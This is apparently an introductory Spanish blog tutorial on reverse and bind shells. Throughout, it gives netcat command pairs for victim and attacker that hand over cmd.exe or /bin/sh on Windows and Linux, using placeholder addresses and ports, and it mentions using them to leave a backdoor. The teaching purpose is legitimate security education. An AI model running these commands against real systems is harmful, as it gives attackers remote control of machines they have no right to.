En esta entrada, abordaremos lo que es una reverse Shell y una Bind Shell, especificamente nos abocaremos a la shell reversa o Reverse Shell,el cual nos permite ejecutar comandos a un cliente remoto.
Terminos simples y generales consideraremos lo siguiente:
Bind Shell: Lo que hace es dejar un puerto a la escucha, y el atacante se conecta.
Reverse Shell o Connect Back: Es que la victima se conecta al atacante.
El uso de las Reverse Shell, es el de ejecutar comandos de manera remota, y a partir de ello dejar una puerta trasera, obtener privilegios por medio de un escalamiento por decirlo asi lo que veremos a continuación es algunas formas y manera de obtener acceso a un equipo remoto, lo mismo de la Bind Shell muchas veces se recomienda mas el uso de una Bind Shell que la Reverse shell pero llega a ser un poco mas complicado realizarlo, ya que por las reglas de firewall y adicionales nos limita a realizar dicho trabajo.
Cabe resaltar que necesitamos contar con nc o ncat en la pc victima, como lo indicaba al inicio haremos unicamente uso de nc, ncat cabe resaltar que es independiente el sistema operativo atacante
Reverse Shell
Lo que haremos en el equipo comprometido sera ejecutar el siguiente comando:
Victima: Conexión externa.
nc -nv
Atacante: Escuchando sobre TCP
nc -lvp
Si lo ejecutamos sin la bandera -e unicamente tenemos un canal de comunicación de punto a punto siendo este un simple chat por mencionarlo asi, siendo este una conexión TCP el mismo lo vemos anteriormente, entonces si deseamos tener una conexión que nos permita ejecutar comandos debemos de realizar lo siguiente tanto en Windows como en Linux se pasa a describir.
Reverse Shell en Windows
Atacante: A la espera de la conexión.
nc -lvp (Puerto)
Victima: Se esta dando el valor de cmd.exe para indicar la Shell con la que se llegara a interactuar.
nc -nv (Direccion ip) (Puerto) -e cmd.exe
Reverse Shell en Linux
Atacante:
nc -lvp (Puerto)
Victima:
nc -nv (Direccion ip) (Puerto) -e /bin/(Tipo de Shell a dar)
En este caso podria ser zsh, bash, sh segun el equipo y entorno que se este trabajando.
Bind Shell en Windows
En este caso con la Bind Shell lo que hacemos es realizar la conexión al equipo victima desde el atacante si notan es la inversa de lo que se realizo en una Reverse Shell lo dejo a continuación los comandos para que lo tengan en cuenta.
Victima:
nc -lvp (Puerto) -e cmd.exe
Atacante:
nc -nv (Direccion ip)(Puerto)
Bind Shell en Linux
Victima:
nc -lvp (Puerto) -e /bin/sh
Atacante:
nc -nv (Direccion ip)(Puerto)
En una proxima entrada de Hacking 101 mencionaremos como obtener diferentes Shell con otros servicios siendo estos con Perl, Python y adicionales además de conocer la interacción de Spawing TTY Shell, así tambien recordarles que desde un Fichero PHP es posible tambien realizar este tipo de conexiones, espero que esta entrada y las que vienen sean de su agrado tanto como las técnicas y las que estan siendo realizadas para los que recien comienzan con el fin de afianzar sus conocimientos e ir aprendiendo paso a paso.
“Nunca consideres el estudio como una obligación, sino como una oportunidad para penetrar en el bello y maravilloso mundo del saber.” - Albert Einstein
**
Regards,
Snifer
**